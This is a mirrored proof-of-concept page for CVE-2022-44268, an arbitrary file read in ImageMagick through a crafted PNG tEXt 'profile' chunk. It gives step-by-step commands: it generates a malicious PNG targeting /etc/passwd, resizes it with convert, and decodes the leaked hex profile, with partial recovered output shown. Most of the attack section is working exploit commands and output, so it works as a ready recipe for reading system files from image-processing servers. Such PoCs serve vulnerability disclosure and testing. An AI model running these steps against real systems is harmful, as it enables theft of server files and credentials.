来源

关联漏洞

描述

PoC of Imagemagick's Arbitrary File Read

介绍

# CVE-2022-44268

This repository contains a Proof of Concept (POC) for a vulnerability in [ImageMagick](https://github.com/ImageMagick/ImageMagick) (v. 7.1.0-49), a widely used open-source image manipulation library. The vulnerability allows an attacker to embed the content of an arbitrary file into a resized image when ImageMagick parses a PNG file.

## Description

When ImageMagick performs operations such as resizing on a PNG file, it may include the content of a system file, given that the magick binary has the necessary permissions to read it. This vulnerability arises due to the mishandling of textual chunks within PNG files.

A malicious actor can exploit this vulnerability by crafting a PNG file or using an existing one and adding a textual chunk type (tEXt). These chunks consist of a keyword and a text string. In this case, if the keyword matches the string "profile" (without quotes), ImageMagick will interpret the accompanying text string as a filename and attempt to load its content as a raw profile. As a result, when the resized image is downloaded, it will contain the content of the remote file specified by the attacker.

For more information, see [this article from MetabaseQ](https://www.metabaseq.com/imagemagick-zero-days/).

## Proof of Concept

To exploit Imagemagick, generate a malicious png: 

```shell
python3 CVE-2022-44268.py /etc/passwd  # Create output.png
```

Then, run a resize operation with convert:

```shell
convert output.png -resize 50% leak.png
```

Finally, inspect the leak image and convert the `Raw profile` to hex:

```shell
identify -verbose leak.png
# ...
Raw profile type:

    2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
```

```python
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
```

> Note: This POC is intended for educational and informational purposes only. Please ensure that you have the necessary permissions and legal authorization before testing or using this POC on any system.

文件快照

 [4.0K]  /data/pocs/46169501cb26cc86397676e376803bbc81886bb0
├── [ 394]  CVE-2022-44268.py
├── [1.2K]  LICENSE
├── [2.0K]  README.md
└── [ 351]  source.png

0 directories, 4 files

备注